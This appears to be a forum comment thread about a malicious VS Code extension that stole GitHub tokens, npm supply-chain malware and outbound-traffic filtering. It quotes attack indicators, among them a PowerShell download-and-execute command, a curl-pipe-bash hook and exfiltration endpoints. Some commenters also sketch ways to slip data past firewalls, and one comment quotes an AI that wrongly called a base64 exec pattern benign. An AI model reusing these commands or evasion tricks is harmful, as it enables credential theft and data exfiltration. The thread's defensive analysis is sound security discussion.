restrict code.exe to an allowlist. Also, many malicious actors rely on system commands to download or exfiltrate data.
Take for example this activity from a malicious extension:
This code makes an HTTP GET request to https://solidity[.]bot/version.json that includes the system’s platform string in the headers.
powershell -ExecutionPolicy Bypass -Command "irm https://solidity[.]bot/a.txt | iex"
This PowerShell command downloads and executes https://solidity[.]bot/a.txt, a suspicious action that, when coupled with the use of obfuscation in extension.js, indicates malicious intent.
The security measure that the developer didn't use was completely refusing to use vscode.
vscode has no security model. It's not like swiss cheese where there are holes and some of the go all the way through. vscode is all hole with some cheese on the side. There is absolutely no isolation between the front-end process, the backend size (the thing that runs in the remote or the devcontainer), and any extensions or anything that might be in a repository whose authors you "trust".
Or you can just refuse to use random extensions. I built my own extensions if I needed them. You're a programmer, right? The whole point of extensibility is that you, or your company, can program what you need from your IDE, without having to make a whole IDE from scratch. I have since moved on to making my own IDE, mostly because I hate Electron and its >1gb memory footprint, but vscode served me so much better than anything else for years, without installing a single rando's extension.
A vscode workspace can trivially execute code on the machine that runs the server end of vscode. (This is how building works -- there is no sandbox unless the workspace config explicitly uses some kind of sandbox.) So the workspace can usually trivially elevate permissions to take over the vscode server, including installing extensions on it without asking you.
In principle, there is a teeny tiny bit of isolation between the local and remote sides, so the remote side cannot trivially execute code on the local machine. But I recommend reading this rather long-standing ticket:
It would be nice if there was an easy way to prevent people from installing vscode remotes on a shared server... Probably can run an ebpf routine to disallow creation of folders named . vscode*
Disabling ssh alternate channels will make it uncomfortable enough for most people to be a deterrant. But if you require multiple ssh channels for different reasons that won't be a solution for you.
> I built my own extensions if I needed them. You're a programmer, right? The whole point of extensibility is that you, or your company, can program what you need from your IDE,
Dude, get real. We don't all have the luxury of being able to engage in endless IDE extension programming side quests just to do our day jobs. And even if we did, there's the reality that whatever you produce is probably not nearly as feature complete or bug free as the extension someone spent years writing. Hence why people want to reach for off the shelf solutions.
Ah, there it is. The root of most problems in the software industry: people who hate programming and avoid doing it as much as possible, because they only got into it for the money.
I have no problem writing extensions in my spare time because programming is fun. Because I know how to program, like, actually program and not just copypaste stuff off StackOverflow, it doesn't take years to write a vscode extension, either.
> people who hate programming and avoid doing it as much as possible, because they only got into it for the money.
Yeah, not the case at all. I love programming, I've been doing it since I was a kid, for over 30 years. But I DO have to earn a living, and I'd rather spend free time programming things that interest me. Writing IDE extensions and tooling all the way down to the bare metal because I can't be absolutely sure at all times that node.js code doesn't contain a virus is not one of those things.
This is my position as well, but it's rarely received well. Usually, a response like "why would I rewrite something that's already been written and available?" By writing the code, I know how it works. I know it is not infected with crap. I know it will not in the future be infected with crap from a down stream dependency. It seems to me this really took off with node to the point that it's laughable at what people will include with no thought at all. I know component libraries have existed for many other languages before, but node just stands out to me
Most bosses look poorly upon spending their budget on rewriting software that already exists and simultaneously most bosses(although not the exact same set) don’t care about security until a disaster has already occurred.
And it’s also not like you’re going to literally write every piece of software you use, unless you’ve started all the way down at machine code you’re drawing the line somewhere on using code written by other people.
The 3800 repos weren't exfiltrated from the compromised machine.
The malware (be it a VSCode plugin, an npm package, or whatever is next) simply slurps up all of the users private keys/tokens/env-vars it can find and sends this off somewhere covertly.
It's trivial to do this in a way to avoid detection. The small payload can be encrypted (so it can't be pattern matched) and then the destination can be one of millions of already compromised websites found via a google search and made to look like a small upload (it could even be chunked and uploaded via query parameters in a HTTP GET request).
The hackers receive the bundle of compromised tokens/keys and go look at what they give access to. Most of the time it's going to be someone's boring home network and a couple of public or private github repos. But every once in a while it's a developer who works at a big organisation (e.g. Github) with access to lots of private repos.
The hackers can then use the keys to clone all of the internal/private repos for that organisation that the compromised keys have access to. Some organisations may have alerts setup for this, but by the time they fire or are actioned upon the data will probably be downloaded. There's no re-auth or 2FA required for "git clone" in most organisations.
With this data the hackers have further options:
a) attempt to extort the company to pay a ransom on the promise of deleting the data
b) look for more access/keys/etc buried somewhere in the downloaded repos and see what else they can find with those
c) publish it for shits and giggles
d) try and make changes to further propagate the malware via similar or new attack vectors
e) analyse what has been downloaded to work out future attack vectors on the product itself
Right now Github (and others recently compromised in similar ways) will be thinking about what information is in those internal repos and what damage would it cause if that information became public, or what that information could be used to find out further down the line.
"Customer data should not be in a github repo" is all well and good, but if the customer data is actually stored in a database somewhere in AWS and there's even just one read-only access token stored somewhere in one private github repo, then there's a chance that the hackers will find that and exfiltrate the customer data that way.
Preventing the breach is hard. There will always be someone in an org who downloads and installs something on their dev machine that they shouldn't, or uses their dev machine for personal browsing, or playing games, or the company dev infra relies on something that is a known attack vector (like npm).
Preventing the exfiltration is virtually impossible. If you have a machine with access to the Internet and allow people to use a browser to google things then small payloads of data can be exfiltrated trivially. (I used to work somewhere where the dev network was air-gapped. The only way to get things onto it was typing it in, floppy or QIC-150 tape - in the days before USB memory sticks.)
Detecting the breach is nigh on impossible if the keys are not used egregiously. Sure some companies can limit access to things like Github to specific IPs, but it wouldn't take much for the malware to do something to work around this. (I can see things like a wireguard/tailscale client being embedded in malware to allow the compromised machine to be used as a proxy in such cases.)
Alerting that requires manual response is nigh on useless as by the time someone has been paged about something the horse has already bolted.
Knowing what has been taken is also a huge burden. 3800 repos that people now have to think about and decide what the implications are. Having been through something like this in the past there are plenty of times people go "I know that repo, it's fine, we can ignore that one" only for it to contain something they don't realise could be important.
These kind of attacks are going to become increasingly common as they're proven to work well and the mitigations for them are HARD. It doesn't need to be targeted at all either, you just infect a bunch of different things and see what gets sent in.
If companies continue to not pay the ransom then we're going to get a lot more things published and many companies having to apologise for all manner of things that end up being leaked.
> It's trivial to do this in a way to avoid detection
I'd love to see a real example/PoC.
Anyway, we discussed this issue in the other thread. For me, unrestricted outbound requests to any url, whether it's well known domains like api.github.com or any other domain, are a red flag.
Why does VS need to establish outbound requests to any domain, without authorization?
There's no magic solution, and these attacks will evolve, but I still think that restricting outbound requests is a good measure to mitigate these attacks.
> slurps up all of the users private keys/tokens/env-vars it can find and sends this off somewhere covertly.
Isolating applications can also mitigate the impact of these attacks. For example, you can restrict VS code to only share with the host .vscode/, .git/ and other directories. Even by project.
Again, it's not bulletproof, but helps.
> but I still think that restricting outbound requests is a good measure
It is 100% necessary, but doesn't stop most attacks quick enough.
If you're posting to github.com/acmecompany then attackers love to do things like add their own user github.com/acemcompany and just upload your data to that. Generally it doesn't last very long, but with CI/CD they can get thousands of keys in a minute and be gone seconds later.
> Why does VS need to establish outbound requests to any domain, without authorization?
I don't know but it's very standard practice in most applications, because telemetry. But VS code is one of the worst: just check open snitch when running VS code, it's constantly phoning to a bunch of IPs.
There are plenty of exfiltration examples out there that could go through known, commonly-greenlit domains. Even exfil via DNS requests has been demonstrated.
But at least in that case, there’s a chance that the outbound requests are blocked. Malware isn’t perfect. Simple measures can block a significant proportion of attacks.
So the extension basically rewrites files in `.github/workflows` and pushes them to GitHub, which then sends all the sensitive information to the attacker. It also attempts to plant a malware on the local machine, too.
My impression is that it would be hard for an OS-level sandbox to completely stop this attack. The sandbox needs to determine whether if a git push originating from an IDE is malicious.
Ah yes, sandboxing/limiting a VSCode plugin is not impossible. I was thinking in more general terms (such as post install scripts within npm/python packages). Random test code in golang packages. There's an awful lot that people don't vet because keeping up with the vetting is a huge burden which seems pointless until you're the one that gets hacked.
The trick is to infect a plugin that has a legitimate reason for accessing the internet or running certain commands, and then coming up with ways to abuse that to exfiltrate the data. Or exfiltrating via DNS queries, or some other vector that isn't so obvious as "allow TCP/UDP connections to the whole world".
That or just repeatedly pester a user for permissions until one user (and you only need one within the organisation) relents and grants it.
the pop-ups fatigue is already an issue, and not an easy one to solve. Pretty much like SIEM/SOC alerts.
> The trick is to infect a plugin that has a legitimate reason for accessing the internet or running certain commands, and then coming up with ways to abuse that to exfiltrate the data. Or exfiltrating via DNS queries, or some other vector that isn't so obvious as "allow TCP/UDP connections to the whole world".
They'll get there, maybe. But the reality is that right now, everyone allows outbound requests blindly.
Instead of speculating, I suggest to actually investigate current IOCs and common tactics of malicious npm/pip/plugins/VS extensions. Something like this:
Or use OpenSnitch (or Lulu, Glasswire, ZoneAlarm anyone?:D etc) to actually analyze real VS malicious extensions or npm packages and see if it stops the exfiltration, and if not, suggest ways to improve it. For example:
If paying the ransom doesn't stop your data getting leaked, nobody will pay the ransom. There is a rational basis for the ransomers to follow through with the deletion. Even the mob did provide "protection" when they coerced you into paying for it.
This sounds like a naive presumption. Are ransomware distributors well known for operating within strict hierarchies bound by culturally-ingrained traditions, or acting in the best interests of their own “greater good”?
Last I heard, teenagers can deploy ransomware with minimal technical knowledge or skill.
btw, this analysis of a node linux malware with OpenSnitch and other tools was published on reddit a year ago (a malicious linkedin interview targeting web3/crypto devs that resulted in a system compromise):
Excellent example, thank you. This is the kind of stuff that skeeves me out and is entirely within the model of threats that I want to guard against. Sandboxing + OpenSnitch is good stuff. And, ofc, npm bad.
Personally I don't allow outbound connections from almost any app, except web browsers to port 80/443. So nodejs, pip, ruby, curl, wget, etc, opening unexpected outbound connections is a big red flag for me.
In some cases, maybe you need to allow permanently git to open outbound resquests to github.com (or gitlab, etc), but at least in my case, I'm okey allowing these connections manually.
> preinstall script: bun run index.js
> Dual exfiltration:
> stolen data is committed as Git objects to public GitHub repositories (api.github.com)
> and sent as RSA+AES encrypted HTTPS POSTs to hxxps://t.m-kosche[.]com/api/public/otel/v1/traces (disguised as OpenTelemetry traces)
> The Bun installer command (command -v bun >/dev/null 2>&1 || (curl -fsSL https://bun.sh/install | bash && export PATH=$HOME/.bun/bin:$PATH)) prepends every injected hook to guarantee Bun availability
> A separate gh-token-monitor daemon (decrypted from J7, deployed by class so) installs to ~/.local/bin/gh-token-monitor.sh with its own systemd service and LaunchAgent. It polls stolen GitHub tokens at 60-second intervals with a 24-hour TTL
This attack in particular would have caused OpenSnitch to go crazy, giving you the opportunity to review what's going on.
1) write a well crafted exfil payload to mozilla or chrome directory (there are sqlite databases and files that store eg. indexeddb content)
2) trigger a tab open to attacker's website, website takes the exfil data from indexeddb and posts it to the server (have something inocuous looking on that website - like a fake npm homepage or whatever, so you don't close it fast enough)
from one step process, this will become universally usable two step process
be sure not to use extra cli parameters like "firefox --new-tab <url>", because if the rule is filtering by process path + cmdline it'll trigger a pop-up to allow the outbound request.
> Personally I don't allow outbound connections from almost any app, except web browsers to port 80/443. So nodejs, pip, ruby, curl, wget, etc, opening unexpected outbound connections is a big red flag for me.
Yep, exactly. Reject by default, with reasonably judicious always-allow rules.
In this case, this has nothing to do with reverse engineering, it's basic system administration.
See how the AI points you in the "right" direction:
What likely happened:
The exec(base64.b64decode('...')) pattern is not malware — it's how Python tooling (including Claude Code's Bash tool) passes code snippets to python -c while avoiding shell escaping issues.
Any base64 string passed to python via cmdline should be considered as HIGHLY suspicious, by default. Or anything executed from /tmp, /var/tmp, /dev/shm.
Exfiltrates data to https://models.litellm.cloud/ encrypted with RSA
if @op would have had Lulu or LittleSnitch installed, they would probably have noticed (and blocked) suspicious outbound connections from unexpected binaries.
Having said this, uploading a binary to Claude for analysis is a different story.
reply